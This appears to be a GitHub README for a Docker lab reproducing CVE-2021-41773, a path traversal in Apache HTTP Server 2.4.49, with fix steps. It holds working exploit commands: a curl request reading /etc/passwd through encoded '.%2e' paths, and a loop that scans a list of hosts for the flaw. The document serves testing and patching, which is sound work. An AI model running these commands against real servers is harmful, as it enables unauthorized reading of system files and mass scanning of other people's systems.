来源

关联漏洞

介绍

# Preproduce CVE 2021-41773
Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)

### POC

```
$ docker compose up
```

### Confirm it works

```
$ curl -I http://localhost
HTTP/1.1 200 OK
Date: Wed, 06 Oct 2021 13:25:18 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
ETag: "2d-432a5e4a73a80"
Accept-Ranges: bytes
Content-Length: 45
Content-Type: text/html
```

### Exploit 1

```
curl --data "echo;id" 'http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'
```
#### Output
```
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin
utmp:x:100:406:utmp:/home/utmp:/bin/false
```
### Exploit 2

```
cat targets | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done
```
#### Output
```
root:x:0:0:root:/root:/bin/ash
operator:x:11:0:operator:/root:/sbin/nologin
localhost Vulnerable
```


## How to fix
1. Update Apache HTTP Server 2.4.50 released 2021-10-04
2. Deny and edit the following in apache2 config file:
```
<!-- Vulnerable (Require all granted in '/') -->
<Directory />
  Options FollowSymLinks
  AllowOverride None
  Require all granted
</Directory>

<!-- Patched (Require all denied in '/') -->
<Directory />
  Options FollowSymLinks
  AllowOverride None
  Require all denied
</Directory>
```

## References
- https://httpd.apache.org/security/vulnerabilities_24.html

文件快照

 [4.0K]  /data/pocs/52a126ef28e4150a00b57b7e64cecb3bbf11dee1
├── [ 237]  docker-compose.yml
├── [  76]  Dockerfile
├── [ 20K]  httpd.conf
└── [2.6K]  README.md

0 directories, 4 files

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